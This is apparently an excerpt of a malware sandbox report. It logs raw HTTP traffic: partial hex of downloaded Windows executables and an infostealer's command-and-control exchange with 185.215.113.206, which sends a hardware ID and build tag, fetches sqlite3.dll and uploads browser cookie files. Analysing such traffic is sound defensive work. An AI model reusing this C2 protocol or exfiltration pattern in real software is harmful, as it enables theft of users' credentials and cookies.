00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 10:05:42 GMTContent-Type: application/octet-streamContent-Length: 1928192Last-Modified: Thu, 28 Nov 2024 09:42:34 GMTConnection: keep-aliveETag: "67483b0a-1d6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 30 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4c 00 00 04 00 00 24 a3 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 1e 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 1d 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 65 69 69 73 6c 62 64 00 50 1a 00 00 d0 31 00 00 50 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6d 6c 72 66 72 70 77 00 10 00 00 00 20 4c 00 00 04 00 00 00 46 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4c 00 00 22 00 00 00 4a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 10:06:46 GMTContent-Type: application/octet-streamContent-Length: 4451840Last-Modified: Thu, 28 Nov 2024 08:52:02 GMTConnection: keep-aliveETag: "67482f32-43ee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 d0 c7 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 c8 00 00 04 00 00 8e 6b 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 b8 c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 b7 c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 73 00 00 10 00 00 00 36 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 90 73 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 73 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 38 00 00 b0 73 00 00 02 00 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6b 7a 65 6b 78 62 6f 00 80 1b 00 00 40 ac 00 00 7c 1b 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 70 61 66 75 78 65 65 00 10 00 00 00 c0 c7 00 00 04 00 00 00 c8 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 c7 00 00 22 00 00 00 cc 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 10:06:59 GMTContent-Type: application/octet-streamContent-Length: 1968640Last-Modified: Thu, 28 Nov 2024 08:52:10 GMTConnection: keep-aliveETag: "67482f3a-1e0a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 d9 52 43 b2 b8 3c 10 b2 b8 3c 10 b2 b8 3c 10 ac ea b8 10 ac b8 3c 10 ac ea a9 10 ad b8 3c 10 ac ea bf 10 cd b8 3c 10 95 7e 47 10 b1 b8 3c 10 b2 b8 3d 10 33 b8 3c 10 ac ea b6 10 b3 b8 3c 10 ac ea a8 10 b3 b8 3c 10 ac ea ad 10 b3 b8 3c 10 52 69 63 68 b2 b8 3c 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 18 5b c6 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 7c 05 00 00 ec 00 00 00 00 00 00 00 00 4a 00 00 10 00 00 00 90 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 30 4a 00 00 04 00 00 6f 7c 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5b f0 06 00 6f 00 00 00 00 60 06 00 38 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 af 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 06 00 00 10 00 00 00 ae 03 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 38 83 00 00 00 60 06 00 00 3c 00 00 00 be 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 06 00 00 02 00 00 00 fa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 29 00 00 00 07 00 00 02 00 00 00 fc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 72 62 78 67 61 78 6a 00 f0 19 00 00 00 30 00 00 e6 19 00 00 fe 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 64 6c 75 7a 62 63 62 00 10 00 00 00 f0 49 00 00 04 00 00 00 e4 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4a 00 00 22 00 00 00 e8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 39 43 43 31 35 32 30 46 33 35 35 37 34 32 31 37 39 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="hwid"EC9CC1520F35574217965------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="build"mars------ECGIIIDAKJDHJKFHIEBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="message"browsers------AFBFHDBKJEGHJJJKFIIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKEBFHIJECFIDGDGCGHCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 2d 2d 0d 0a Data Ascii: ------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="message"plugins------BKEBFHIJECFIDGDGCGHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="message"fplugins------AEHIDAKECFIEBGDHJEBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDGHost: 185.215.113.206Content-Length: 6347Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 2d 2d 0d 0a Data Ascii: ------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IIECFHDBAAECAAKFHDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 2d 2d 0d 0a Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="file"------FHIDAKFIJJKJJJKEBKJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJEGDBGDBFIJKECBAKFHost: 185.215.113.206Content-Length: 431Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HIJEGDBGDBFIJKECBAKF--
